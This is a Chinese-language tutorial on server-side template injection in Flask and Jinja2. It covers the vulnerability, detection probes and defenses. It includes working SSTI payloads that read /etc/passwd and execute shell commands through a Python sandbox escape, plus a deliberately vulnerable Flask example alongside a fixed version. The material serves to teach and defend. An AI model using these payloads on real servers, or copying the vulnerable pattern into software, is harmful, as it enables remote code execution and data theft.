Flask框架(jinja2)服务端模板注入漏洞分析(SSTI)
字数 1576 2025-08-15 21:33:19
Flask框架(Jinja2)服务端模板注入漏洞(SSTI)深入分析与防御指南
1. Flask与Jinja2基础
1.1 Flask框架概述
Flask是一个基于Python的轻量级Web应用框架,属于微框架(micro-framework)类别,核心依赖包括:
- Werkzeug:WSGI工具包
- Jinja2:模板引擎
基本Flask应用示例:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
1.2 Jinja2模板引擎
Jinja2是Flask默认的模板引擎,主要特性:
- 变量替换:
{{ variable }} - 控制语句:
{% control_statement %} - 注释:
{# comment #}
Flask提供两种渲染方法:
render_template():渲染指定模板文件render_template_string():渲染字符串模板
2. 服务器端模板注入(SSTI)漏洞原理
2.1 漏洞定义
服务器端模板注入是指攻击者能够使用模板语法将恶意有效负载注入模板中,在服务器端执行该模板。当用户输入直接连接到模板中而不是作为数据传递时,可能发生此类漏洞。
2.2 漏洞产生条件
- 用户输入被直接拼接到模板中
- 使用
render_template_string()不当 - 模板内容直接受用户控制
2.3 漏洞危害
- 远程代码执行(RCE)
- 敏感数据泄露
- 服务器完全控制
- 内部基础设施攻击
3. SSTI漏洞检测与利用
3.1 漏洞检测方法
- 注入特殊字符序列测试:
${7*7},{{7*7}} - 观察响应是否执行了数学运算
- 尝试突破模板语句:
user_input}}<tag>
3.2 确定模板引擎
通过提交无效语法触发错误消息,或使用不同模板引擎的语法测试:
<%=foobar%> # ERB引擎
${foobar} # 其他引擎
{{7*7}} # Jinja2
3.3 Python沙盒逃逸技术
3.3.1 关键Python属性
__class__:返回对象所属的类__base__:返回类的直接基类__mro__:返回方法解析顺序元组__subclasses__():返回类的子类列表__globals__:返回函数所在模块的全局变量字典__builtins__:内建函数和对象的引用
3.3.2 利用链构建
- 获取字符串类对象:
''.__class__ - 获取基类:
''.__class__.__mro__[2](object类) - 获取所有子类:
''.__class__.__mro__[2].__subclasses__() - 寻找可利用的类(如file、catch_warnings等)
3.3.3 实际利用示例
读取文件:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
执行命令:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
4. 漏洞代码示例分析
4.1 存在漏洞的代码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name) # 用户输入直接拼接到模板
return t.render()
if __name__ == "__main__":
app.run()
4.2 安全代码示例
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def safe():
name = request.args.get('name', 'guest')
t = Template("Hello {{n}}") # 使用模板变量
return t.render(n=name) # 安全传递参数
if __name__ == "__main__":
app.run()
5. 防御措施
- 避免用户输入拼接:永远不要直接将用户输入拼接到模板中
- 使用安全渲染方法:优先使用
render_template()而非render_template_string() - 严格的输入过滤:对用户输入进行严格验证和过滤
- 沙箱环境:在沙箱环境中执行模板渲染
- 最小权限原则:降低应用程序运行权限
- 模板静态化:尽可能使用静态模板
- 安全编码培训:提高开发人员安全意识
6. 总结
Flask框架的SSTI漏洞主要源于不安全的模板渲染方式,特别是render_template_string()的滥用。通过理解Jinja2模板引擎的工作原理和Python对象模型,攻击者可以构造复杂的利用链实现远程代码执行。开发人员应当遵循安全编码实践,严格区分代码和数据的边界,从根本上预防此类漏洞的发生。